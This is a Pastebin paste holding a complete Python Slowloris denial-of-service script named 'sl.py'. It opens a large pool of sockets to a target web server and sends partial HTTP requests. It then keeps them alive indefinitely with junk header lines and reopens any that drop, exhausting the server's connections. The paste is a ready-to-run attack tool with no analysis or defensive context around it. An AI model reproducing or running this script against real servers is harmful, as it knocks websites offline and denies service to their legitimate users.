Gertjaars

sl.py

Nov 13th, 2016
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.97 KB | None | 0 0
  1. import socket, random, time, sys, argparse
  2.  
  3. parser = argparse.ArgumentParser()
  4. parser.add_argument('host',  nargs="?")
  5. parser.add_argument('-p', '--port', default=80, type=int)
  6. parser.add_argument('-s', '--sockets', default=150, type=int)
  7. args = parser.parse_args()
  8.  
  9. if len(sys.argv)<=1:
  10.     sys.exit(1)
  11.  
  12. if not args.host:
  13.     sys.exit(1)
  14.  
  15. list_of_sockets = []
  16. user_agents = ["Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"]
  17.  
  18. def init_socket(ip):
  19.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20.     s.settimeout(4)
  21.     s.connect((ip,args.port))
  22.  
  23.     s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
  24.     s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
  25.     s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
  26.     return s
  27.  
  28. def main():
  29.     ip = args.host
  30.     socket_count = args.sockets
  31.     print("The target server {} is being tested with {} sockets".format(ip, socket_count))
  32.  
  33.     for _ in range(socket_count):      
  34.         try:
  35.             print("Creating socket: {}".format(_ + 1), end="\r")
  36.             sys.stdout.flush()
  37.             s = init_socket(ip)
  38.         except socket.error:
  39.             break
  40.         list_of_sockets.append(s)
  41.  
  42.     while True:
  43.         print("Finished, Socket count: {}".format(len(list_of_sockets)))
  44.         for s in list(list_of_sockets):
  45.             try:
  46.                 s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
  47.             except socket.error:
  48.                 list_of_sockets.remove(s)
  49.  
  50.         for _ in range(socket_count - len(list_of_sockets)):
  51.             print("Recreating socket: {}".format(_ + 1), end="\r")
  52.             sys.stdout.flush()
  53.             try:
  54.                 s = init_socket(ip)
  55.                 if s:
  56.                     list_of_sockets.append(s)
  57.             except socket.error:
  58.                 break
  59.         time.sleep(15)
  60.  
  61. if __name__ == "__main__":
  62.     main()
Advertisement
Add Comment
Please, Sign In to add comment